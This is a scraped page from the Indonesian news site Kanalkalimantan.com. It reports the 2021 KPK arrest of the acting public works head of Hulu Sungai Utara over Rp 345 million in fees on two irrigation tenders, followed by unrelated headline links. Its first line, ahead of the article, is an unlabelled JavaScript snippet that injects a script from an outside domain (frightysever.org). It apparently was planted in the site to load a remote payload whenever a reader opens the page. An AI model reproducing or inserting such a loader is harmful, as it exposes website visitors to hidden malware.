(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Komisi Pemberantasan Korupsi (KPK) menjelaskan konstruksi kasus operasi tangkap tangan (OTT) yang melibatkan Plt Kadis PU Hulu Sungai Utara (HSU) Maliki, pada Rabu (15/9/2021) malam.
Saat konferensi pers yang berlangsung di gedung KPK, Kamis (16/9/2021) malam, disebutkan bahwa Miliki menerima uang sebesar Rp 345 juta dari fee dua proyek irigasi.
“Sebagai kesepakatan komitmen fee 15 persen, Maliki kemudian menerima uang sebesar Rp 170 juta dan Rp 175 juta dalam bentuk tunai,” kata Wakil Ketua KPK Alexander Marwata.
Sebelumnya, disebutkan bahwa Dinas PU Hulu Sungai Utara melakukan lelang 2 proyek irigasi yang masing-masing nilainya Rp 1,9 miliar dan Rp 1,5 miliar.
Maliki, selaku Plt Kadis PU, diduga telah lebih dulu memberikan persyaratan lelang pada Marhaini dan Fachriadi sebagai calon pemenang kedua proyek irigasi dimaksud, dengan kesepakatan memberikan sejumlah uang komitmen fee sebesar 15 persen dari nilai proyek.
Baca juga : OTT KPK di HSU terkait 2 Proyek Irigasi Senilai Rp 1,9 miliar dan Rp 1,5 miliar
Hasilnya, perusahaan milik Marhaini, CV Hanamas, memenangkan proyek irigasi dimaksud yang nilainya Rp 1,9 miliar. Sedangkan perusahaan milik Fachriadi, CV Kalpataru, memenangkan tender proyek irigasi yang nilai Rp 1,5 miliar.
“Maka KPK meningkatkan status perkara ini ke tahap penyidikan dengan menetapkan tersangka MK (Maliki) Plt Kadis PU pada Dinas PUPR Kabupaten Hulu Sungai Utara sekaligus KPA dan PPK, dan MRH (Marhaini) pihak swasta selaku pemberi dan FA (Fachriadi) pihak swasta,” kata Alexander Marwata.
Marhaini dan Fachriadi selaku pihak pemberi disangkakan melanggar Pasal 5 ayat 1 huruf a atau b, atau Pasal 13 UU KPK juncto Pasal 65 KUHP. Maliki selaku penerima disangkakan melanggar Pasal 12 huruf a atau b atau pasal 11 UU KPK juncto Pasal 64 dan Pasal 65 KUHP.
Untuk proses penyidikan, KPK menahan Maliki di Rutan KPK Cabang Pomdam Jaya Guntur. Sedangkan Marhaini dan Fachriadi ditahan di Rutan KPK Gedung Merah Putih. Ketiganya ditahan selama 20 hari ke depan, terhitung mulai hari ini hingga 5 Oktober 2021. (Kanalkalimantan.com/chandra)
Reporter : chandra
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.